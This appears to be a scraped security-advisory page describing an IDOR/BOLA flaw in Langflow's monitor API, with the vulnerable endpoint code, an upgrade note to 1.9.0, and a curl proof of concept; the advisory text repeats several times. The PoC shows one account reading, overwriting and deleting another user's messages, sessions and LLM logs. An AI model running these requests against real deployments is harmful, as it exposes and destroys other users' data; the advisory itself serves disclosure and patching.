### Summary Langflow's `/api/v1/monitor` router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or `flow_id`. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (`monitor.py`) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied. ### Details **Source file: `src/backend/base/langflow/api/v1/monitor.py`** The correct pattern (used only in `GET /monitor/messages`, lines 77–80): ```python stmt = select(MessageTable) stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id) stmt = stmt.where(Flow.user_id == current_user.id) # ownership enforced ``` All 7 vulnerable endpoints are missing this guard: **1. `GET /api/v1/monitor/builds` (lines 27–33)** — reads build data for any `flow_id`: ```python @router.get("/builds", dependencies=[Depends(get_current_active_user)]) async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession): vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id) # no ownership check return VertexBuildMapModel.from_list_of_dicts(vertex_builds) ``` **2. `DELETE /api/v1/monitor/messages` (lines 102–107)** — deletes any message by UUID: ```python @router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)]) async def delete_messages(message_ids: list[UUID], session: DbSession): await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids))) # message_ids accepted verbatim, no ownership check ``` **3. `PUT /api/v1/monitor/messages/{message_id}` (lines 110–134)** — overwrites any message: ```python db_message = await session.get(MessageTable, message_id) # no check: db_message.flow_id → Flow.user_id == current_user.id db_message.sqlmodel_update(message_dict) ``` **4. `PATCH /api/v1/monitor/messages/session/{old_session_id}` (lines 137–171)** — renames any session: ```python stmt = select(MessageTable).where(MessageTable.session_id == old_session_id) # no JOIN to Flow, no WHERE Flow.user_id == current_user.id ``` **5. `DELETE /api/v1/monitor/messages/session/{session_id}` (lines 174–188)** — bulk-deletes any session: ```python await session.exec( delete(MessageTable).where(col(MessageTable.session_id) == session_id) # no ownership filter ) ``` **6. `GET /api/v1/monitor/transactions` (lines 191–211)** — reads LLM prompt/response logs for any `flow_id`: ```python stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id) # no JOIN to Flow, no WHERE Flow.user_id == current_user.id ``` **7. `DELETE /api/v1/monitor/builds`** — deletes build records for any `flow_id`: Shares the same root cause as endpoint #1 (`GET /builds`): `flow_id` is accepted as a bare query parameter and passed to the deletion path without a `WHERE Flow.user_id == current_user.id` ownership check, so any authenticated user can destroy another user's build artifacts. ### PoC Tested on Langflow v1.7.3 (`langflowai/langflow:1.7.3`) with two accounts: `langflow` (victim) and `attacker_test` (attacker). ```bash # Setup: authenticate both users TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \ -d "username=langflow&password=langflow" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \ -d "username=attacker_test&password=Attacker123" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") # Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration) FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])") # PoC 1: Read victim's LLM transaction logs (prompts + model responses) curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 — full transaction log returned including user prompts and model responses # PoC 2: Read victim's build data curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 # PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above) curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \ -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \ -d '["<victim_message_id>"]' # HTTP 204 — message deleted # PoC 4: Tamper with victim's message content curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \ -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \ -d '{"text":"TAMPERED BY ATTACKER"}' # HTTP 200 — message overwritten, "edit":true set # PoC 5: Rename victim's session curl -s -X PATCH \ "http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 — session renamed # PoC 6: Bulk-delete victim's entire session curl -s -X DELETE \ "http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \ -H "Authorization: Bearer $ATTKR" # HTTP 204 — entire session deleted ``` All 6 demonstrated attack vectors confirmed (the 7th, `DELETE /builds`, shares the `GET /builds` root cause and was not separately scripted). After attacker operations: victim's message text read `"TAMPERED BY ATTACKER"`, session renamed to attacker-controlled name, second session completely deleted. ### Impact This vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted). **Confidentiality:** `GET /transactions` exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by `flow_id`. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). `GET /builds` exposes internal workflow execution state. **Integrity:** `PUT /messages/{id}` allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. `PATCH /messages/session/{id}` allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces. **Availability:** `DELETE /messages` and `DELETE /messages/session/{id}` enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted. Any registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.
### Summary Langflow's `/api/v1/monitor` router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or `flow_id`. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (`monitor.py`) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied. ### Details **Source file: `src/backend/base/langflow/api/v1/monitor.py`** The correct pattern (used only in `GET /monitor/messages`, lines 77–80): ```python stmt = select(MessageTable) stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id) stmt = stmt.where(Flow.user_id == current_user.id) # ownership enforced ``` All 7 vulnerable endpoints are missing this guard: **1. `GET /api/v1/monitor/builds` (lines 27–33)** — reads build data for any `flow_id`: ```python @router.get("/builds", dependencies=[Depends(get_current_active_user)]) async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession): vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id) # no ownership check return VertexBuildMapModel.from_list_of_dicts(vertex_builds) ``` **2. `DELETE /api/v1/monitor/messages` (lines 102–107)** — deletes any message by UUID: ```python @router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)]) async def delete_messages(message_ids: list[UUID], session: DbSession): await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids))) # message_ids accepted verbatim, no ownership check ``` **3. `PUT /api/v1/monitor/messages/{message_id}` (lines 110–134)** — overwrites any message: ```python db_message = await session.get(MessageTable, message_id) # no check: db_message.flow_id → Flow.user_id == current_user.id db_message.sqlmodel_update(message_dict) ``` **4. `PATCH /api/v1/monitor/messages/session/{old_session_id}` (lines 137–171)** — renames any session: ```python stmt = select(MessageTable).where(MessageTable.session_id == old_session_id) # no JOIN to Flow, no WHERE Flow.user_id == current_user.id ``` **5. `DELETE /api/v1/monitor/messages/session/{session_id}` (lines 174–188)** — bulk-deletes any session: ```python await session.exec( delete(MessageTable).where(col(MessageTable.session_id) == session_id) # no ownership filter ) ``` **6. `GET /api/v1/monitor/transactions` (lines 191–211)** — reads LLM prompt/response logs for any `flow_id`: ```python stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id) # no JOIN to Flow, no WHERE Flow.user_id == current_user.id ``` **7. `DELETE /api/v1/monitor/builds`** — deletes build records for any `flow_id`: Shares the same root cause as endpoint #1 (`GET /builds`): `flow_id` is accepted as a bare query parameter and passed to the deletion path without a `WHERE Flow.user_id == current_user.id` ownership check, so any authenticated user can destroy another user's build artifacts. ### PoC Tested on Langflow v1.7.3 (`langflowai/langflow:1.7.3`) with two accounts: `langflow` (victim) and `attacker_test` (attacker). ```bash # Setup: authenticate both users TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \ -d "username=langflow&password=langflow" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \ -d "username=attacker_test&password=Attacker123" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") # Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration) FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])") # PoC 1: Read victim's LLM transaction logs (prompts + model responses) curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 — full transaction log returned including user prompts and model responses # PoC 2: Read victim's build data curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 # PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above) curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \ -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \ -d '["<victim_message_id>"]' # HTTP 204 — message deleted # PoC 4: Tamper with victim's message content curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \ -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \ -d '{"text":"TAMPERED BY ATTACKER"}' # HTTP 200 — message overwritten, "edit":true set # PoC 5: Rename victim's session curl -s -X PATCH \ "http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 — session renamed # PoC 6: Bulk-delete victim's entire session curl -s -X DELETE \ "http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \ -H "Authorization: Bearer $ATTKR" # HTTP 204 — entire session deleted ``` All 6 demonstrated attack vectors confirmed (the 7th, `DELETE /builds`, shares the `GET /builds` root cause and was not separately scripted). After attacker operations: victim's message text read `"TAMPERED BY ATTACKER"`, session renamed to attacker-controlled name, second session completely deleted. ### Impact This vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted). **Confidentiality:** `GET /transactions` exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by `flow_id`. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). `GET /builds` exposes internal workflow execution state. **Integrity:** `PUT /messages/{id}` allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. `PATCH /messages/session/{id}` allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces. **Availability:** `DELETE /messages` and `DELETE /messages/session/{id}` enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted. Any registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.
Update langflow to 1.9.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanLangflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints affects langflow (pip). Severity is high. ### Summary Langflow's `/api/v1/monitor` router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or `flow_id`. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (`monitor.py`) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied. ### Details **Source file: `src/backend/base/langflow/api/v1/monitor.py`** The correct pattern (used only in `GET /monitor/messages`, lines 77–80): ```python stmt = select(MessageTable) stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id) stmt = stmt.where(Flow.user_id == current_user.id) # ownership enforced ``` All 7 vulnerable endpoints are missing this guard: **1. `GET /api/v1/monitor/builds` (lines 27–33)** — reads build data for any `flow_id`: ```python @router.get("/builds", dependencies=[Depends(get_current_active_user)]) async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession): vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id) # no ownership check return VertexBuildMapModel.from_list_of_dicts(vertex_builds) ``` **2. `DELETE /api/v1/monitor/messages` (lines 102–107)** — deletes any message by UUID: ```python @router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)]) async def delete_messages(message_ids: list[UUID], session: DbSession): await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids))) # message_ids accepted verbatim, no ownership check ``` **3. `PUT /api/v1/monitor/messages/{message_id}` (lines 110–134)** — overwrites any message: ```python db_message = await session.get(MessageTable, message_id) # no check: db_message.flow_id → Flow.user_id == current_user.id db_message.sqlmodel_update(message_dict) ``` **4. `PATCH /api/v1/monitor/messages/session/{old_session_id}` (lines 137–171)** — renames any session: ```python stmt = select(MessageTable).where(MessageTable.session_id == old_session_id) # no JOIN to Flow, no WHERE Flow.user_id == current_user.id ``` **5. `DELETE /api/v1/monitor/messages/session/{session_id}` (lines 174–188)** — bulk-deletes any session: ```python await session.exec( delete(MessageTable).where(col(MessageTable.session_id) == session_id) # no ownership filter ) ``` **6. `GET /api/v1/monitor/transactions` (lines 191–211)** — reads LLM prompt/response logs for any `flow_id`: ```python stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id) # no JOIN to Flow, no WHERE Flow.user_id == current_user.id ``` **7. `DELETE /api/v1/monitor/builds`** — deletes build records for any `flow_id`: Shares the same root cause as endpoint #1 (`GET /builds`): `flow_id` is accepted as a bare query parameter and passed to the deletion path without a `WHERE Flow.user_id == current_user.id` ownership check, so any authenticated user can destroy another user's build artifacts. ### PoC Tested on Langflow v1.7.3 (`langflowai/langflow:1.7.3`) with two accounts: `langflow` (victim) and `attacker_test` (attacker). ```bash # Setup: authenticate both users TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \ -d "username=langflow&password=langflow" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \ -d "username=attacker_test&password=Attacker123" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") # Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration) FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])") # PoC 1: Read victim's LLM transaction logs (prompts + model responses) curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 — full transaction log returned including user prompts and model responses # PoC 2: Read victim's build data curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 # PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above) curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \ -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \ -d '["<victim_message_id>"]' # HTTP 204 — message deleted # PoC 4: Tamper with victim's message content curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \ -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \ -d '{"text":"TAMPERED BY ATTACKER"}' # HTTP 200 — message overwritten, "edit":true set # PoC 5: Rename victim's session curl -s -X PATCH \ "http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 — session renamed # PoC 6: Bulk-delete victim's entire session curl -s -X DELETE \ "http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \ -H "Authorization: Bearer $ATTKR" # HTTP 204 — entire session deleted ``` All 6 demonstrated attack vectors confirmed (the 7th, `DELETE /builds`, shares the `GET /builds` root cause and was not separately scripted). After attacker operations: victim's message text read `"TAMPERED BY ATTACKER"`, session renamed to attacker-controlled name, second session completely deleted. ### Impact This vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted). **Confidentiality:** `GET /transactions` exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by `flow_id`. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). `GET /builds` exposes internal workflow execution state. **Integrity:** `PUT /messages/{id}` allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. `PATCH /messages/session/{id}` allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces. **Availability:** `DELETE /messages` and `DELETE /messages/session/{id}` enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted. Any registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| langflowpip | <1.9.0 | 1.9.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate langflow to 1.9.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanLangflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints affects langflow (pip). Severity is high. ### Summary Langflow's `/api/v1/monitor` router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or `flow_id`. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (`monitor.py`) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied. ### Details **Source file: `src/backend/base/langflow/api/v1/monitor.py`** The correct pattern (used only in `GET /monitor/messages`, lines 77–80): ```python stmt = select(MessageTable) stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id) stmt = stmt.where(Flow.user_id == current_user.id) # ownership enforced ``` All 7 vulnerable endpoints are missing this guard: **1. `GET /api/v1/monitor/builds` (lines 27–33)** — reads build data for any `flow_id`: ```python @router.get("/builds", dependencies=[Depends(get_current_active_user)]) async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession): vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id) # no ownership check return VertexBuildMapModel.from_list_of_dicts(vertex_builds) ``` **2. `DELETE /api/v1/monitor/messages` (lines 102–107)** — deletes any message by UUID: ```python @router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)]) async def delete_messages(message_ids: list[UUID], session: DbSession): await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids))) # message_ids accepted verbatim, no ownership check ``` **3. `PUT /api/v1/monitor/messages/{message_id}` (lines 110–134)** — overwrites any message: ```python db_message = await session.get(MessageTable, message_id) # no check: db_message.flow_id → Flow.user_id == current_user.id db_message.sqlmodel_update(message_dict) ``` **4. `PATCH /api/v1/monitor/messages/session/{old_session_id}` (lines 137–171)** — renames any session: ```python stmt = select(MessageTable).where(MessageTable.session_id == old_session_id) # no JOIN to Flow, no WHERE Flow.user_id == current_user.id ``` **5. `DELETE /api/v1/monitor/messages/session/{session_id}` (lines 174–188)** — bulk-deletes any session: ```python await session.exec( delete(MessageTable).where(col(MessageTable.session_id) == session_id) # no ownership filter ) ``` **6. `GET /api/v1/monitor/transactions` (lines 191–211)** — reads LLM prompt/response logs for any `flow_id`: ```python stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id) # no JOIN to Flow, no WHERE Flow.user_id == current_user.id ``` **7. `DELETE /api/v1/monitor/builds`** — deletes build records for any `flow_id`: Shares the same root cause as endpoint #1 (`GET /builds`): `flow_id` is accepted as a bare query parameter and passed to the deletion path without a `WHERE Flow.user_id == current_user.id` ownership check, so any authenticated user can destroy another user's build artifacts. ### PoC Tested on Langflow v1.7.3 (`langflowai/langflow:1.7.3`) with two accounts: `langflow` (victim) and `attacker_test` (attacker). ```bash # Setup: authenticate both users TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \ -d "username=langflow&password=langflow" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \ -d "username=attacker_test&password=Attacker123" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") # Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration) FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])") # PoC 1: Read victim's LLM transaction logs (prompts + model responses) curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 — full transaction log returned including user prompts and model responses # PoC 2: Read victim's build data curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 # PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above) curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \ -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \ -d '["<victim_message_id>"]' # HTTP 204 — message deleted # PoC 4: Tamper with victim's message content curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \ -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \ -d '{"text":"TAMPERED BY ATTACKER"}' # HTTP 200 — message overwritten, "edit":true set # PoC 5: Rename victim's session curl -s -X PATCH \ "http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \ -H "Authorization: Bearer $ATTKR" # HTTP 200 — session renamed # PoC 6: Bulk-delete victim's entire session curl -s -X DELETE \ "http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \ -H "Authorization: Bearer $ATTKR" # HTTP 204 — entire session deleted ``` All 6 demonstrated attack vectors confirmed (the 7th, `DELETE /builds`, shares the `GET /builds` root cause and was not separately scripted). After attacker operations: victim's message text read `"TAMPERED BY ATTACKER"`, session renamed to attacker-controlled name, second session completely deleted. ### Impact This vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted). **Confidentiality:** `GET /transactions` exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by `flow_id`. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). `GET /builds` exposes internal workflow execution state. **Integrity:** `PUT /messages/{id}` allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. `PATCH /messages/session/{id}` allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces. **Availability:** `DELETE /messages` and `DELETE /messages/session/{id}` enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted. Any registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| langflowpip | <1.9.0 | 1.9.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
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